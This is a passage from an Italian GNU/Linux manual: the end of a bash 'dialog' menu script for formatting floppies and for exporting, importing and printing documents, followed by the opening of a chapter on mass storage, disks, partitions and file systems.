                2> /dev/null
            then
                #
                # Try to fdformat.
                #
                fdformat "$FORMAT_DEVICE"
                if /sbin/mkfs.msdos -c "$FORMAT_DEVICE"
                then
                    #
                    # Ok, done.
                    #
                    dialog --msgbox "Ho inizializzato l'unita\` \
```

```
\"$FORMAT_DEVICE\"." 0 0
                else
                    dialog --msgbox "Sono spiacente: mi e\` impossibile \
eseguire o completare l'operazione per l'unita\` \"$FORMAT_DEVICE\"." 0 0
                fi
            fi
        fi
    else
        dialog --msgbox "Non e\` possibile eseguire l'operazione." 0 0
    fi
}
#
# Export files.
#
function_export () {
    #
    local MOUNT_POINT=""
    local DOCUMENT_LIST=""
    local DOCUMENT_NAME=""
    #
    if ! [ "$IMPORT_EXPORT_MOUNT_POINTS_LIST" = "" ]
    then
        if dialog                                                     \
            --clear                                                   \
            --title "esporta dei documenti in un disco rimovibile"    \
            --menu "Seleziona l'unita\` da usare per l'esportazione dei \
documenti:"                                                           \
            0 0 0                                                     \
            $IMPORT_EXPORT_MOUNT_POINTS_LIST                          \
            2> $TEMPORARY
        then
            #
            MOUNT_POINT=`cat $TEMPORARY`
            echo "" > $TEMPORARY
            #
            # Try to mount.
            #
            umount "$MOUNT_POINT" 2> /dev/null
            if mount "$MOUNT_POINT"
            then
                #
                # Ok, go on: build the "dialog" list.
                #
                for f in $DATA_DIRECTORY/*
                do
                    if [ -f $f ]
                    then
                        DOCUMENT_NAME=`basename $f`
                        DOCUMENT_LIST="$DOCUMENT_LIST $DOCUMENT_NAME . off "
                    fi
                done
                #
                if dialog                                     \
```

```
                        --clear                                 \
                        --title "esporta dei documenti in un disco \
rimovibile"                                                     \
                        --checklist "Seleziona o deseleziona i documenti \
da esportare, con l'aiuto della barra spaziatrice:\n"           \
                        0 0 0                                   \
                        $DOCUMENT_LIST                          \
                        2> $TEMPORARY
                then
                    DOCUMENT_LIST=`cat $TEMPORARY`
                    echo "" > $TEMPORARY
                    #
                    # Do something.
                    #
                    if ! [ "$DOCUMENT_LIST" = "" ]
                    then
                        #
                        # Must clean from double quotes.
                        #
                        DOCUMENT_LIST=`echo $DOCUMENT_LIST | sed "s/\"//g"`
                        #
                        # Export.
                        #
                        for n in $DOCUMENT_LIST
                        do
                            if [ -e "$MOUNT_POINT/$n" ]
                            then
                                #
                                # There is already a name like this.
                                #
                                # Check if the documents are the same.
                                #
                                if diff "$DATA_DIRECTORY/$n" \
                                        "$MOUNT_POINT/$n" \
                                        > /dev/null 2> /dev/null
                                then
                                    #
                                    # Files are identical.
                                    #
                                    printf ""
                                else
                                    #
                                    # There is already a name like this and
                                    # the content is different.
                                    #
                                    if dialog                       \
                                        --clear                     \
                                        --title "esporta dei documenti in \
un disco rimovibile"                                            \
                                        --yesno "Nel disco esterno esiste \
gia\` un file con il nome \"$n\". Vuoi rimpiazzarlo con quello che \
stai esportando?"                                               \
                                        0 0                         \
```

```
                                        2> /dev/null
                                    then
                                        if cp -f "$DATA_DIRECTORY/$n" \
                                                 "$MOUNT_POINT"
                                        then
                                            dialog --infobox "Ho copiato il \
documento \"$n\" in \"$MOUNT_POINT\"." 0 0
                                        else
                                            dialog --msgbox "Sono spiacente: \
non riesco a copiare il documento \"$n\" in \"$MOUNT_POINT\"." 0 0
                                        fi
                                    fi
                                fi
                            else
                                if cp -f "$DATA_DIRECTORY/$n" "$MOUNT_POINT"
                                then
                                    dialog --infobox "Ho copiato il \
documento \"$n\" in \"$MOUNT_POINT\"." 0 0
                                else
                                    dialog --msgbox "Sono spiacente: \
non riesco a copiare il documento \"$n\" in \"$MOUNT_POINT\"." 0 0
                                fi
                            fi
                        done
                    fi
                fi
                #
                # Unmount.
                #
                umount "$MOUNT_POINT"
                #
            else
                #
                # Sorry: cannot mount.
                #
                dialog --msgbox "Sono spiacente, ma non mi e\` possibile \
accedere all'unita\` \"$MOUNT_POINT\"." 0 0
                #
                umount "$MOUNT_POINT" 2> /dev/null
            fi
        fi
    else
        dialog --msgbox "Non e\` possibile eseguire l'operazione." 0 0
    fi
}
#
# Import an external file.
#
function_import () {
    #
    local MOUNT_POINT=""
    local DOCUMENT_LIST=""
    local DOCUMENT_NAME=""
```

```
    #
    if ! [ "$IMPORT_EXPORT_MOUNT_POINTS_LIST" = "" ]
    then
        if dialog                                                      \
            --clear                                                    \
            --title "importa dei documenti da un disco rimovibile"     \
            --menu "Seleziona l'unita\` da usare per l'importazione dei \
documenti:"                                                            \
            0 0 0                                                      \
            $IMPORT_EXPORT_MOUNT_POINTS_LIST                           \
            2> $TEMPORARY
        then
            #
            MOUNT_POINT=`cat $TEMPORARY`
            echo "" > $TEMPORARY
            #
            # Try to mount.
            #
            umount "$MOUNT_POINT" 2> /dev/null
            if mount "$MOUNT_POINT"
            then
                #
                # Ok, go on.
                #
                for f in $MOUNT_POINT/*
                do
                    if [ -f $f ]
                    then
                        DOCUMENT_NAME=`basename $f`
                        DOCUMENT_LIST="$DOCUMENT_LIST $DOCUMENT_NAME . off "
                    fi
                done
                #
                if dialog                                      \
                        --clear                                \
                        --title "importa dei documenti da un disco \
rimovibile"                                                    \
                        --checklist "Seleziona o deseleziona i documenti \
da importare, con l'aiuto della barra spaziatrice:\n"          \
                        0 0 0                                  \
                        $DOCUMENT_LIST                         \
                        2> $TEMPORARY
                then
                    DOCUMENT_LIST=`cat $TEMPORARY`
                    echo "" > $TEMPORARY
                    #
                    # Do something.
                    #
                    if ! [ "$DOCUMENT_LIST" = "" ]
                    then
                        #
                        # Must clean from double quotes.
                        #
```

```
                        DOCUMENT_LIST=`echo $DOCUMENT_LIST | sed "s/\"//g"`
                        #
                        # Import.
                        #
                        for n in $DOCUMENT_LIST
                        do
                            if [ -e "$DATA_DIRECTORY/$n" ]
                            then
                                #
                                # Check if the documents are the same.
                                #
                                if diff "$MOUNT_POINT/$n" \
                                        "$DATA_DIRECTORY/$n" \
                                        > /dev/null 2> /dev/null
                                then
                                    #
                                    # Files are identical.
                                    #
                                    printf ""
                                else
                                    #
                                    # There is already a name like this and
                                    # the content is different.
                                    #
                                    if dialog                           \
                                        --clear                         \
                                        --title "importa dei documenti \
da un disco rimovibile"                                                 \
                                        --yesno "Tu possiedi gia\` un \
documento con il nome \"$n\". Vuoi cancellarlo e sostituirlo con quello \
che stai importando?"                                                   \
                                        0 0                             \
                                        2> /dev/null
                                    then
                                        #
                                        # Must backup and copy.
                                        #
                                        function_backup_document \
                                            "$DATA_DIRECTORY/$n"
                                        #
                                        if cp -f "$MOUNT_POINT/$n" \
                                                 "$DATA_DIRECTORY"
                                        then
                                            dialog --infobox "Ho importato \
il documento \"$n\" eliminando la copia preesistente." 0 0
                                        else
                                            dialog --msgbox "Sono spiacente: \
non riesco a importare il documento \"$n\" da \"$MOUNT_POINT\"." 0 0
                                        fi
                                    fi
                                fi
                            else
                                #
```

```
                                # Copy.
                                #
                                if cp -f "$MOUNT_POINT/$n" "$DATA_DIRECTORY"
                                then
                                    dialog --infobox "Ho importato il \
documento \"$n\"." 0 0
                                else
                                    dialog --msgbox "Sono spiacente: \
non riesco a importare il documento \"$n\" da \"$MOUNT_POINT\"." 0 0
                                fi
                            fi
                        done
                    fi
                fi
                #
                # Unmount.
                #
                umount "$MOUNT_POINT"
                #
            else
                #
                # Sorry: cannot mount.
                #
                dialog --msgbox "Sono spiacente, ma non mi e\` \
possibile accedere all'unita\` \"$MOUNT_POINT\"." 0 0
                #
                umount "$MOUNT_POINT" 2> /dev/null
            fi
        fi
    else
        dialog --msgbox "Non e\` possibile eseguire l'operazione." 0 0
    fi
}
#
# Print.
#
function_print () {
    #
    local DOCUMENT_LIST=""
    local DOCUMENT_NAME=""
    #
    for f in $DATA_DIRECTORY/*
    do
        if [ -f $f ]
        then
            DOCUMENT_NAME=`basename $f`
            DOCUMENT_LIST="$DOCUMENT_LIST $DOCUMENT_NAME . "
        fi
    done
    #
    #
    #
    if dialog                           \
```

```
        --clear                         \
        --title "stampa un documento" \
        --menu "Seleziona il documento da stampare:" \
        0 0 0 \
        $DOCUMENT_LIST  \
        2> $TEMPORARY
    then
        DOCUMENT_NAME=`cat $TEMPORARY`
        echo "" > $TEMPORARY
        #
        if [ -f "$DATA_DIRECTORY/$DOCUMENT_NAME" ]
        then
            #
            # Ok, print, but fold before.
            #
            cat "$DATA_DIRECTORY/$DOCUMENT_NAME" \
                | fold -s \
                | $PRINTER_FILTER \
                | $PRINTER_COMMAND
        fi
    fi
}
#
# Start X Window System.
#
function_startx () {
    #
    startx
}
#
# Start of program.
#
function_intro
while true
do
    function_menu
done
```

20.12 Riferimenti

- Richard Günther, *Kernel Support for miscellaneous (your favorite) Binary Formats*
  ‘***sorgenti_linux***`/Documentation/binfmt_misc.txt`’
- Brian A. Lantz, Richard Günther, *Java(tm) Binary Kernel Support for Linux*
  ‘***sorgenti_linux***`/Documentation/java.txt`’

[1] **GNU findutils** GNU GPL

[2] **util-linux: getopt** UCB BSD

[3] **Debianutils: tempfile** UCB BSD

[4] **GNU core utilities** GNU GPL

[5] **GNU core utilities** GNU GPL

[6] **GNU core utilities** GNU GPL

[7] **GNU core utilities** GNU GPL

[8] **Dialog** GNU GPL

[9] **Whiptail** GNU LGPL

[10] **Xdialog** GNU GPL

[11] **Gdialog (Zenity)** GNU GPL

[12] **Ncurses** software libero con licenza speciale FSF

[13] **Newt** GNU LGPL

[14] **Kaptain** GNU GPL

[15] **GNU core utilities** GNU GPL

[16] **GNU core utilities** GNU GPL

[17] **GNU core utilities** GNU GPL

[18] **GNU core utilities** GNU GPL

[19] **GNU core utilities** GNU GPL

[20] **GNU core utilities** GNU GPL

Capitolo 21

Memoria di massa e file system

21.1 Introduzione alla memoria di massa 1017
21.1.1 Nastro 1017
21.1.2 Disco 1018
21.1.3 Collocazione e accesso ai dati 1024
21.1.4 Partizioni secondo la tradizione Dos 1025
21.1.5 Firmware 1026
21.1.6 Modalità di accesso ai settori 1027
21.1.7 Memoria cache 1028
21.1.8 File system Unix 1028
21.2 Preparazione e controllo 1032
21.2.1 Preparazione dei file system 1032
21.2.2 Controllo dei file system 1040
21.2.3 Gestione di file system NTFS 1045
21.2.4 Compatibilità dei nomi tra un file system e l'altro 1046
21.3 Memoria di massa: gestione delle partizioni 1046
21.3.1 Gpart 1047
21.3.2 Parted 1048
21.3.3 Partimage 1053
21.4 Attivazione e utilizzo 1059
21.4.1 Attivazione dei file system 1059
21.4.2 Memoria cache 1073
21.5 Memoria virtuale 1074
21.5.1 Creazione di una partizione o di un file di scambio 1074
21.5.2 Inizializzazione 1075
21.5.3 Attivazione e disattivazione della memoria virtuale 1076
21.6 Controllo delle «quote» nei sistemi GNU/Linux 1078
21.6.1 Quota utente e quota di gruppo 1078
21.6.2 Configurazione con il file «/etc/fstab» 1078
21.6.3 Registrazione delle quote e attivazione del controllo 1079
21.6.4 Quote relative a file system condivisi attraverso la rete 1081
21.6.5 Utilizzo di «quotacheck» 1081
21.6.6 Utilizzo di «quotaon» e «quotaoff» 1083
21.6.7 Assegnazione e verifica delle quote 1084
21.6.8 Utilizzo di «setquota» 1085

21.6.9 Utilizzo di «edquota» 1086
21.6.10 Utilizzo di «repquota» 1087
21.6.11 Utilizzo di «quota» 1088

21.7 Dischi ottici: file system 1088

21.7.1 Caratteristiche di massima di un CD 1089
21.7.2 Caratteristiche di massima di un DVD 1090
21.7.3 Caratteristiche di massima di un BD 1090
21.7.4 Creazione dell'immagine di un disco ottico 1090

21.8 Registrare su dischi ottici con GNU/Linux 1099

21.8.1 Problemi legati alla scrittura di dischi ottici 1099
21.8.2 Wodim 1099
21.8.3 Growisofs e DVD+rw-format 1101
21.8.4 Dischi ottici con file system inusuali 1104

21.9 File system compressi 1104

21.9.1 Cloop 1104
21.9.2 Squashfs 1106
21.9.3 Cramfs 1107
21.9.4 Zisofs 1107

21.10 Gestione della memoria di massa in modo ridondante 1109

21.10.1 RAID 1110
21.10.2 RAID hardware e software 1110
21.10.3 RAID-1 via software con i sistemi GNU/Linux 1111

21.11 FUSE: «file system in user space» 1118

21.11.1 Attivazione di FUSE 1118
21.11.2 Limiti di accesso 1119
21.11.3 Innesto e distacco 1121
21.11.4 SSHfs 1121
21.11.5 CurlFtpFS 1123
21.11.6 NTFSprogs e NTFS-3g 1125
21.11.7 EncFS 1128

21.12 Gerarchia del file system 1131

21.12.1 Organizzazione di una gerarchia 1132
21.12.2 File system standard 1132

21.13 Approfondimenti 1142

21.13.1 Inizializzazione a basso livello dei dischetti 1142

21.13.2 Dischi senza partizioni 1143
21.13.3 File-immagine 1144
21.13.4 Unità di memorizzazione senza file system 1146
21.13.5 Controllo dell'unità per dischi ottici 1146
21.13.6 Estrazione della prima traccia dati 1148

21.14 Riferimenti 1149

`.netrc` 1123 `/etc/mtab` 1068 `/lost+found/` 1045 `badblocks` 1032 `cfdisk` 1035 `create_compressed_fs` 1104 `df` 1069 `di` 1069 `disktype` 1040 `doschk` 1046 `dosfsck` 1044 `du` 1071 `dumpe2fs` 1042 `dvd+rw-format` 1101 `e2fsck` 1043 `edquota` 1086 `encfs` 1128 `encfsctl` 1130 `extract_compressed_fs` 1104 `fdformat` 1142 `fdisk` 1033 `fsck` 1045 `fsck.ext2` 1043 `fsck.ext3` 1043 `fsck.ext4` 1043 `fsck.msdos` 1044 `fstab` 1066 1078 1121 `fuse.conf` 1119 `fusermount` 1118 `genisoimage` 1091 `gpart` 1047 `growisofs` 1101 `grub` 1098 `isolinux` 1096 `isosize` 1148 `MAKEDEV` 1134 `mdadm` 1111 `mkcramfs` 1107 `mkdosfs` 1039 `mke2fs` 1038 `mkfs` 1040 `mkfs.ext2` 1038 `mkfs.ext3` 1038 `mkfs.ext4` 1038 `mkfs.msdos` 1039 `mkisofs` 1091 `mksquashfs` 1106 `mkswap` 1075 `mkzftree` 1107 `mount` 1063 `ntfsmount` 1125 `ntfs-3g` 1125 `parted` 1048 `partimage` 1053 `quota` 1088 `quotacheck` 1081 `quotaoff` 1083 `quotaon` 1083 `repquota` 1087 `setcd` 1146 `setquota` 1085 `sfdisk` 1035 `stat` 1072 `superformat` 1143 *swap* 1074 `swapoff` 1076 `swapon` 1076 `sync` 1073 `umount` 1066 `wodim` 1099

21.1 Introduzione alla memoria di massa

Con il termine ***memoria di massa*** ci si riferisce alla parte di memoria non volatile di un elaboratore, che consente l'immagazzinamento di grandi quantità di dati. Il tipo di supporto più utilizzato è quello a disco, il quale permette un accesso rapido ai dati, mentre in passato sono stati molto importanti anche i nastri magnetici, graditi a suo tempo per la loro economicità in rapporto alla quantità di dati memorizzabili. Tuttavia, il futuro delle memorie di massa sembra essere rappresentato dalle memorie solide, ovvero da sistemi di memorizzazione elettronica allo stato solido (senza componenti meccanici).

21.1.1 Nastro

Il sistema di memorizzazione a nastro è stato il primo (a parte le schede perforate) a essere utilizzato con gli elaboratori. In tempi più recenti, dal nastro in bobine si è passati piuttosto a cartucce a nastro magnetico di vario tipo.

La memorizzazione a nastro permette la registrazione di dati in modo sequenziale. Questo significa che la modifica dei dati può avvenire solo aggiungendo queste modifiche alla fine, senza poter intervenire nella parte già memorizzata. Nello stesso modo, l'accesso a un'informazione richiede lo scorrimento del nastro fino al punto in cui questa si trova.

Solitamente, la memorizzazione di dati all'interno di un nastro avviene in forma di archivio, cioè di un file unico contenente tutti i file che si vogliono archiviare. In questo modo, è il programma di archiviazione ed estrazione a prendersi cura del confezionamento dei dati da archiviare e del loro recupero quando necessario.

Figura 21.1. Unità a nastro IBM. Questa foto proviene dalla raccolta di Peter Roosen-Runge, visibile alla pagina *York computing: scenes from a distant past*, ⟨http://www.cse.yorku.ca/~peter/deptphotos/photos.html⟩, ripubblicata qui con il suo permesso.

21.1.2 Disco

Il supporto di memorizzazione a disco, ha il vantaggio di consentire l'accesso diretto ai dati senza la necessità di scorrerli sequenzialmente. Le tecniche di memorizzazione possono essere differenti: magnetica, magneto-ottica e ottica. Nel primo caso, il più comune, i dati vengono memorizzati su uno strato ferromagnetico; nel secondo, si sfrutta sempre un sistema di memorizzazione magnetica, ma su un materiale che deve essere scaldato con un fascio laser per consentire la memorizzazione; l'ultimo utilizza una memorizzazione puramente ottica, attraverso un laser.

La memorizzazione magnetica è la più comune, offre il vantaggio di una maggiore velocità di lettura e scrittura dei dati, ma è anche la meno sicura per quanto riguarda la durata di mantenimento di questi.

Bisogna ricordare che esiste una grande quantità di fonti magnetiche, cominciando dal campo terrestre, a cui si aggiungono tutti quelli generati dall'attività umana. Tanto per fare un esempio, un telefono mobile acceso, appoggiato vicino a un dischetto magnetico, può provocare la sua cancellazione.

I dischi magneto-ottici sono funzionalmente analoghi a quelli magnetici, con la differenza che, dovendo scaldare le tracce da memorizzare con un laser, quando questo calore non è disponibile non sono tanto sensibili ai campi magnetici estranei.

I dischi ottici utilizzano una memorizzazione attraverso un fascio laser. Il tipo più comune di disco ottico può essere usato una volta sola per memorizzare i dati, consentendo naturalmente

una quantità indefinita di letture successive, ma a questo si affianca il disco riscrivibile, il quale può essere riutilizzato.

21.1.2.1 Dischi fissi e rimovibili

Esistono principalmente due tipi di dischi: quelli che sono fissati stabilmente all'apparecchiatura che permette di effettuare delle registrazioni e di leggerne il contenuto, distinguendoli da quelli che possono essere asportati e quindi sostituiti. Tuttavia va considerato che i dischi «fissi» possono essere inseriti in unità esterne che possono essere spostate da un elaboratore all'altro.

Figura 21.2. Disco fisso e disco rimovibile.

Il disco fisso ha normalmente una capacità molto superiore a un disco rimovibile, permettendo di effettuare le operazioni di registrazione e rilettura dei dati molto più velocemente. Il disco rimovibile ha il vantaggio di poter essere tolto e sostituito con altri, senza portare con sé tutta la meccanica e l'elettronica necessaria alla sua gestione.

Figura 21.3. Disco fisso esterno USB.

21.1.2.2 Dischi magnetici

Il disco magnetico è costituito essenzialmente da uno o più piatti di materiale metallico (alluminio o un'altra lega trasparente ai campi magnetici), plastico, o vetroso, ricoperti su entrambe le facce da un deposito di ossidi ferromagnetici (la stessa sostanza che ricopre il nastro magnetico delle cassette audio). Questi piatti vengono fatti ruotare a velocità angolare costante.

Figura 21.4. Visione dall'alto di un piatto sul quale scorre una testina per la lettura e scrittura dei dati. Le tracce magnetiche, concentriche, non sono visibili, ma vengono individuate dalla testina magnetica.

Rotazione
testina
spostamento

L'operazione di registrazione e rilettura dei dati viene effettuata da testine, una per ogni faccia dei piatti, le quali registrano e rileggono lungo tracce concentriche del disco. Le tracce magnetiche vengono definite dalle testine stesse, durante una fase detta di inizializzazione (o formattazione) a basso livello. Le tracce sono suddivise a loro volta in settori di uguale dimensione contenenti un codice di identificazione.

Figura 21.5. Le tracce concentriche dei dischi magnetici sono suddivise in settori di uguale dimensione.

traccia
settore

I settori sono in pratica dei contenitori di dati. L'esistenza di questi settori e del loro sistema di identificazione permette l'accesso diretto ai dati, fino all'unità minima gestibile, costituita appunto dal settore. Nello stesso modo, non è possibile registrare dati se prima non sono state definite le tracce e i settori.

In passato sono esistiti dischi magnetici nei quali la suddivisione delle tracce in settori veniva identificata attraverso riferimenti estranei alle tracce stesse, per esempio attraverso dei fori in qualche punto del piatto. Questo vecchio tipo di dischi veniva detto *hard sectored* (suddiviso fisicamente in settori), mentre la modalità attuale, cioè quella che si ottiene con l'inserzione di codici di riconoscimento all'inizio dei settori, si dice *soft sectored* (suddiviso logicamente in settori). In ogni caso, è sempre presente un riferimento fisico per definire un punto di inizio nella rotazione.

Quando un'unità di memorizzazione è composta da più dischi, questi sono calettati sullo stesso albero (l'asse di rotazione centrale). In questo modo, la registrazione e la lettura avvengono attraverso un pettine di testine collegate assieme.

Le testine non possono appoggiare sul piatto, altrimenti si genererebbe un attrito e conseguentemente un riscaldamento disastroso. La presenza dell'aria o di un altro gas, fa sì che con la rotazione le testine si appoggino su un cuscino d'aria sottilissimo. A volte può succedere che un corpo estraneo si inserisca tra una testina e il piatto. Quando ciò succede, nella maggior parte dei casi, si arriva all'atterraggio della testina e alla conseguente distruzione del piatto e della testina stessa.

Figura 21.6. Foto di un disco fisso aperto. Rispetto al disegno che appare nella figura 21.4, la rotazione di questo disco avviene in senso antiorario.

Figura 21.7. Foto di un disco fisso aperto. In questo caso si può osservare che a riposo, le testine vengono «parcheggiate» all'esterno dei piatti, per evitare problemi di atterraggio alla partenza.

21.1.2.3 Geometria

Come già accennato, il settore è l'unità di memorizzazione minima a cui si possa accedere in un disco, di qualunque tipo esso sia. Nel caso di dischi organizzati a tracce concentriche, sono state utilizzate storicamente coordinate composte da cilindro, testina e settore.

Figura 21.8. Schema di un disco fisso visto lateralmente.

Il cilindro rappresenta un gruppo di tracce, tutte alla stessa distanza dall'asse di rotazione centrale; la testina identifica la traccia specifica facendo riferimento alla faccia di un piatto particolare da prendere in considerazione; il settore è il segmento di traccia a cui si vuole accedere.

Per definire le caratteristiche di un disco del genere si parla di geometria, espressa attraverso l'indicazione del numero di cilindri, di testine e di settori a disposizione. La dimensione di un disco, espressa in settori, si esprime quindi come il prodotto di questi tre valori.

Infine è importante considerare anche la dimensione del settore, ovvero la quantità di byte che questo può contenere. La dimensione normale è di 512 byte, ma esistono anche dischi con settori di dimensione multipla.

Attualmente, dal momento che il sistema di controllo elettronico di una unità a disco è molto più sofisticato di un tempo, la geometria è un concetto che serve solo a rispettare la tradizione. In generale, sarebbe possibile l'accesso ai settori semplicemente indicandone il numero di sequenza, lasciando al sistema di controllo interno al disco di sapere dove si trova effettivamente, in base alla geometria reale. Tuttavia, per ragioni di compatibilità, si continua a immaginare una **geometria virtuale**, in quanto non corrispondente a quella reale.

21.1.2.4 Dischi magneto-ottici

Di norma, i dischi magneto-ottici (MO) sono dischi rimovibili in cui i dati sono registrati in forma magnetica, ma l'operazione di registrazione avviene previo riscaldamento da parte di un fascio laser. Si tratta storicamente di unità di memorizzazione di grande capacità, ma ad accesso piuttosto lento e attualmente superate sotto tutti gli aspetti.

Figura 21.9. Disco magneto-ottico rimovibile.

Il disco magneto-ottico ha una geometria analoga a quella dei dischi magnetici, anche se si tratta solo di un piatto, per cui, anche in questo caso si parla di cilindri, testine e settori.

21.1.2.5 Dischi ottici

Mentre i dischi magneto-ottici si comportano in maniera analoga a quelli magnetici, i dischi ottici richiedono una registrazione sequenziale (come i nastri), consentendo eventualmente un'aggiunta in coda. Tuttavia, la rilettura non comporta limitazioni di accesso. Per questo, i dischi ottici sono registrati utilizzando un'unica traccia a spirale, un po' come si faceva con i vecchi dischi musicali di vinile.

Figura 21.10. Disco ottico registrato: si può notare il bordo interno da dove parte l'incisione e il limite esterno dove questa ha termine.

21.1.2.6 Memorie solide

Le memorie solide sono degli integrati che consentono la memorizzazione di discrete quantità di dati, in modo simile a quello delle memorie di massa tradizionali. Attualmente, il limite tecnico di tali sistemi di memorizzazione sta nel numero massimo di cicli di scrittura.

L'uso più comune delle memorie solide avviene attraverso le porte USB, gestendole come se fossero dei dischi esterni.

Figura 21.11. Esempio di memoria solida, per l'uso in apparecchi come le macchine fotografiche.

Figura 21.12. Lettore di vari modelli di memorie solide esterne.

Figura 21.13. Memoria solida esterna in forma di «penna» USB.

21.1.3 Collocazione e accesso ai dati

Quando si utilizza un nastro magnetico, la memorizzazione dei dati può avvenire solo in modo sequenziale, per cui, di solito si registra un file unico contenente tutto ciò che si vuole archiviare.

Nel caso delle unità ad accesso diretto (a disco e a memoria solida), i dati possono essere suddivisi in settori e sparpagliati nell'unità di memorizzazione come si vuole, possibilmente con un qualche criterio. Questo criterio è il file system, cioè qualcosa che definisce un'organizzazione dei dati nell'unità e il modo per potervi accedere.

Un'unità di memorizzazione priva di file system è solo una sequenza di settori. In questo senso, a volte si utilizzano le unità di memorizzazione ad accesso diretto come se fossero nastri, registrando e rileggendo i dati nella stessa sequenza naturale dei settori.

Il caso del disco ottico è speciale, nel senso che la registrazione avviene come se si trattasse di un nastro, ma quanto registrato può contenere un file system (solitamente si tratta di quello definito dallo standard ISO 9660, oppure ISO 13346) e la rilettura dei dati può avvenire ad accesso diretto, come nel caso dei dischi normali.

I dischi ottici (CD, DVD, BR) da utilizzare con i sistemi Unix contengono normalmente un file system ISO 9660 con estensioni Rock Ridge (oppure un file system UDF, ISO 13346). Quando il disco viene letto da un sistema che non è in grado di riconoscere le estensioni Unix, riesce ugualmente ad accedervi, però tutto si manifesta semplicemente come nello standard ISO normale.

21.1.4 Partizioni secondo la tradizione Dos

Le unità di memorizzazione di massa ad accesso diretto, come i dischi e le memorie solide, purché di dimensioni adeguate, possono essere suddivisi in partizioni. Questa suddivisione permette, per esempio, di fare convivere diversi sistemi operativi nella stessa unità.

Teoricamente, un'unità di memorizzazione di qualunque genere può essere suddivisa in partizioni, oppure anche no. In particolare, in presenza di dischi rimovibili di dimensioni superiori a qualche mebibyte (simbolo Mibyte), non suddivisi in partizioni, si parla a volte di *superfloppy*.

Il sistema della suddivisione in partizioni dipende dallo «schema di partizionamento». Quello più comune è rappresentata dal tipo utilizzato dal Dos e dagli altri sistemi operativi che ne sono derivati. GNU/Linux utilizza fondamentalmente questo tipo di tecnica di partizionamento ed è ciò che qui viene descritto.

21.1.4.1 MBR

Nel sistema di partizionamento secondo il modello utilizzato dal Dos, le informazioni principali sulla suddivisione in partizioni sono registrate nella parte finale del primo settore dell'unità di memorizzazione, togliendo un po' di spazio alle istruzioni di avvio. Per questo motivo, trattandosi di un settore di avvio con in più le informazioni sulle partizioni principali (primarie), questo si chiama MBR, o *Master boot record*.

Solitamente, il settore di avvio contiene il codice necessario a passare al primo settore di una partizione il compito di avviare effettivamente il sistema operativo: la partizione avviabile.

Lo spazio riservato nell'MBR per annotare i dati delle partizioni è limitato e consente la suddivisione in un massimo di quattro partizioni principali.

21.1.4.2 Partizioni primarie ed estese

La possibilità di suddividere lo spazio di un'unità di memorizzazione in sole quattro partizioni può essere troppo limitante. Per risolvere questo problema si distinguono partizioni di due tipi: primarie ed estese. La partizione primaria è quella normale, a essa si attribuisce un codice per riconoscere il tipo di file system che contiene o che dovrebbe contenere. La partizione estesa viene definita con il codice 05_{16} ed è il contenitore di altre partizioni più piccole, dette partizioni logiche.

Si osservi che può essere definita una sola partizione estesa e che questa può essere suddivisa anche in più di quattro partizioni «logiche», ovvero sotto-partizioni.

GNU/Linux utilizza nomi particolari per i file di dispositivo che servono a identificare l'intera unità o una singola partizione. In pratica, quando si fa riferimento a una partizione, si aggiunge un numero al nome del file di dispositivo riferito all'unità intera. In particolare, i numeri da uno a quattro rappresentano le prime quattro partizioni (primarie o estese), mentre i numeri successivi vengono utilizzati per identificare le partizioni logiche eventuali.

La numerazione delle partizioni segue solo l'ordine di inserimento e non la collocazione effettiva nello spazio dell'unità di memorizzazione. Per esempio, se si hanno tre partizioni primarie e si rimuove la seconda per scomporla in due parti, si ottiene una seconda partizione più piccola e una quarta partizione, collocata tra la seconda e la terza.

Figura 21.14. Suddivisione in partizioni secondo il sistema tradizionale del Dos.

21.1.5 Firmware

Le unità di memorizzazione di massa, non sono solo contenitori di dati: nei sistemi operativi comuni sono coinvolte nel processo di caricamento del sistema stesso. Perché ciò possa avvenire, deve essere avviato un programma iniziale che provvede a sua volta ad avviare il sistema operativo. Questo programma è suddiviso in due parti: il firmware (o BIOS negli elaboratori x86) e il settore di avvio. In pratica, il firmware avvia il settore di avvio, il quale a sua volta avvia un altro settore di avvio oppure, un programma di avvio o direttamente il kernel del sistema operativo.

Figura 21.15. Dal firmware al settore di avvio.

Il codice contenuto in un settore di avvio può avvalersi solo di funzionalità offerte dal firmware stesso e quindi dipende da queste la possibilità di raggiungere e avviare il kernel. Nel firmware degli elaboratori x86 esiste una limitazione: le sue funzioni non permettono di accedere a zone di un'unità di memorizzazione oltre il 1024-esimo cilindro. Ciò significa che un kernel collocato oltre questo punto non può essere avviato. Per attenuare questo problema, il BIOS trasforma in maniera fittizia la geometria dei dischi in modo da mostrare meno cilindri del reale, aumentando gli altri valori (testine o settori per traccia), oppure se la inventa del tutto. In ogni caso, occorre trovare il modo di fare risiedere il kernel in una posizione che sia sicuramente accessibile. La tecnica più semplice è quella di predisporre una piccola partizione solo per questo nella zona protetta, al di sotto del cilindro 1023.

21.1.6 Modalità di accesso ai settori

I settori di un'unità di memorizzazione possono essere raggiunti in due modi: in base alle coordinate virtuali definite da cilindro, testina e settore, oppure in base al numero del settore dell'unità, in senso assoluto. Queste modalità hanno due sigle standard, che sono rispettivamente: CHS (*Cylinder, head, sector*) e LBA (*Linear block address*).

Naturalmente, la modalità di accesso più «comoda» è LBA, ma questa possibilità dipende dal firmware.

La distinzione tra un accesso di tipo CHS o LBA riguarda principalmente i dischi ATA, evolutisi in un arco di tempo piuttosto lungo. La possibilità di accedere in modalità LBA permette di eliminare il problema delle dimensioni massime che, per motivi storici, rimangono nei valori delle coordinate di tipo CHS.

21.1.7 Memoria cache

L'accesso ai dati delle unità di memorizzazione di massa è un'operazione relativamente lenta e spesso si ripetono accessi successivi a zone contigue, oltre che alle stesse zone con variazioni successive dei dati.

Per ridurre gli accessi ripetuti alle unità di memorizzazione, i sistemi operativi utilizzano generalmente una ***memoria cache***,[1] riservando parte della memoria RAM, con la quale le operazioni di lettura e scrittura vengono filtrate in modo da evitare richieste ridondanti nel breve periodo. In questo modo, un settore appena letto, se viene richiesto nuovamente dallo stesso programma o anche da un altro, risulta subito disponibile senza disturbare l'unità di memorizzazione. Nello stesso modo funziona l'operazione di scrittura che viene rinviata a un momento successivo in modo da avere accumulato un blocco di dati più grande.

La memoria cache viene scaricata periodicamente, a intervalli regolari. Tuttavia, a causa di questo meccanismo, uno spegnimento accidentale dell'elaboratore può comportare una perdita parziale dei dati, se le operazioni di scrittura accodate nella memoria cache non sono state trasferite in tempo nell'unità di memorizzazione.

